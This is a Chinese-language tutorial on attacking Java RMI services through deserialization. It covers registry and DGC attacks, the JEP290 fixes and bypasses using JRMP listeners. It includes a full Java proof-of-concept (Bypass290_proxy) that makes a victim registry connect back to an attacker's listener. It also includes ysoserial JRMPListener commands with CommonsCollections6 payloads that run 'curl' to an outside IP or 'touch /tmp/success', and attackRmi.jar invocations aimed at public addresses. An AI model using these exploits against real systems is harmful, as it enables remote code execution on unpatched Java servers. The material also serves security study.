前言

RMI服务的攻击维度分成四个方向

  1. 探测利用开放的RMI服务
  2. 基于RMI服务反序列化过程的攻击
  3. 利用RMI的动态加载特性的攻击利用
  4. 结合JNDI注入

RMI反序列化 - 图1

RMI服务端反序列化攻击RMI注册端

反序原理

sun.rmi.registry.RegistryImpl_Skel#dispatch

  1. public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
  2. //一处接口hash验证
  3. if (var4 != 4905912898345647071L) {
  4. throw new SkeletonMismatchException("interface hash mismatch");
  5. } else {
  6. //设定变量开始处理请求
  7. //var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
  8. RegistryImpl var6 = (RegistryImpl)var1;
  9. //接受客户端输入流的参数变量
  10. String var7;
  11. Remote var8;
  12. ObjectInput var10;
  13. ObjectInput var11;
  14. //var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
  15. //比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
  16. //super.ref.newCall(this, operations, 0, 4905912898345647071L);
  17. switch(var3) {
  18. //统一删除了try等语句
  19. case 0:
  20. //bind(String,Remote)分支
  21. var11 = var2.getInputStream();
  22. //1.反序列化触发处
  23. var7 = (String)var11.readObject();
  24. var8 = (Remote)var11.readObject();
  25. var6.bind(var7, var8);
  26. case 1:
  27. //list()分支
  28. var2.releaseInputStream();
  29. String[] var97 = var6.list();
  30. ObjectOutput var98 = var2.getResultStream(true);
  31. var98.writeObject(var97);
  32. case 2:
  33. //lookup(String)分支
  34. var10 = var2.getInputStream();
  35. //2.反序列化触发处
  36. var7 = (String)var10.readObject();
  37. var8 = var6.lookup(var7);
  38. case 3:
  39. //rebind(String,Remote)分支
  40. var11 = var2.getInputStream();
  41. //3.反序列化触发处
  42. var7 = (String)var11.readObject();
  43. var8 = (Remote)var11.readObject();
  44. var6.rebind(var7, var8);
  45. case 4:
  46. //unbind(String)分支
  47. var10 = var2.getInputStream();
  48. //4.反序列化触发处
  49. var7 = (String)var10.readObject();
  50. var6.unbind(var7);
  51. default:
  52. throw new UnmarshalException("invalid method number");
  53. }
  54. }
  55. }

可以得到4个反序列化触发处:lookupunbindrebindbind

虽然我们看到RMI注册端的解析过程是直接反序列化传参,看样子String和Remote的参数位置都是可以的,但还是会摇摆不定。

但事实是 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功

首先漏洞环境用的是这个https://github.com/lalajun/RMIDeserialize项目。包含了CC链。

RMI反序列化 - 图2

首先用8u66启动环境。然后用yso的RMIRegistryExploit模块攻击

RMI反序列化 - 图3

成功弹出计算器

RMI反序列化 - 图4

JEP290修复

在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。

RMI反序列化 - 图5

RMI DGC层反序列化

这里是用的JRMPClient 模块打的

RMI反序列化 - 图6

攻击效果相同

RMI反序列化 - 图7

JEP290修复

在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。

利用JRMP反序列化绕过JEP290

这次我们使用JRMPListener

RMI反序列化 - 图8

受害靶机还是上文中的。

然后运行github里的Bypass290_proxy

  1. package com.lala;
  2. import sun.rmi.server.UnicastRef;
  3. import java.io.Serializable;
  4. import java.lang.reflect.InvocationHandler;
  5. import java.lang.reflect.Method;
  6. import java.lang.reflect.Proxy;
  7. import java.rmi.Remote;
  8. import java.rmi.registry.LocateRegistry;
  9. import java.rmi.registry.Registry;
  10. import java.rmi.server.RemoteRef;
  11. public class Bypass290_proxy {
  12. public static class PocHandler implements InvocationHandler, Serializable {
  13. private RemoteRef ref;
  14. protected PocHandler(RemoteRef newref) {
  15. ref = newref;
  16. }
  17. @Override
  18. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  19. return this.ref;
  20. }
  21. }
  22. //让受害者主动去连接的攻击者的JRMPlister的host和port
  23. public static UnicastRef generateUnicastRef(String host, int port) {
  24. java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
  25. sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
  26. sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
  27. return new sun.rmi.server.UnicastRef(liveRef);
  28. }
  29. public static void main(String[] args) throws Exception{
  30. // String jrmpListenerHost = "47.102.137.160";//远程测试
  31. String jrmpListenerHost = "127.0.0.1";//本地测试
  32. int jrmpListenerPort = 1199;
  33. UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
  34. Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));
  35. Registry registry = LocateRegistry.getRegistry(1099);//本地测试
  36. // Registry registry = LocateRegistry.getRegistry("47.102.137.160",1099);//远程测试
  37. registry.bind("2333", remote);
  38. }
  39. }

RMI反序列化 - 图9

这其实就是ysoserial.exploit.JRMPListener模块的攻击逻辑

8u231之前都可以用

原理请看https://xz.aliyun.com/t/7932

为什么?

因为之前也说到JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。所以可以攻击执行payload

bind的局限性

当我们在本地进行试验的时候,使用高于8u141的版本也是可以命令执行的。这会形成一种不受版本限制的错觉。

但实际上在远程攻击的时候,这种攻击是有局限性的。

RMI反序列化 - 图10

但是这种姿势只能本地执行,我把它放到服务器上就不行了。

与RMI客户端反序列化攻击RMI服务端-Lookup结合

这个工具就是github上的RMI-Bypass290.jar

同样的服务器上启动的环境

  1. /root/javaexp/jdk1.8.0_221/bin/java -cp RMIDeserialize.jar com.lala.ServerAndRegister

然后

  1. /root/javaexp/jdk1.8.0_221/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections6 "curl 47.97.123.81:11451"

然后

  1. java -jar RMI-Bypass290.jar 47.97.123.81 1099 47.97.123.81 1199

即可在8u231之前攻击。

RMI反序列化 - 图11

https://github.com/waderwu/attackRmi

我们也可以用工具完成攻击

  1. java -jar attackRmi.jar LAUS 47.97.123.81 1099 47.97.123.81 1199 'touch /tmp/success'

前面的是受害机器的rmi ip端口。后面是自己启动jrmpListener端口。这里是把步骤二合一了,一并启动jrmpListener

或者是自行启动jrmpListener,然后运行

  1. /root/javaexp/jdk1.8.0_221/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections6 "touch /tmp/success"
  2. java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookupAndUnicastRef 47.97.123.81 1099 47.97.123.81 1199

https://xz.aliyun.com/t/8247#toc-6 工具使用教程

来自An Trinh的另一种绕过JEP290的思路

这个可以绕过绕过8u231

复现—绕过8u231

这个用的就是上述工具的AttackRegistryByLookupAndUnicastRefRemoteObject

复现和上面那个差不多

总结

为什么能绕过JEP290

用JRMPListener+lookup

因为之前也说到JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。所以可以攻击执行payload

https://xz.aliyun.com/t/8247#toc-6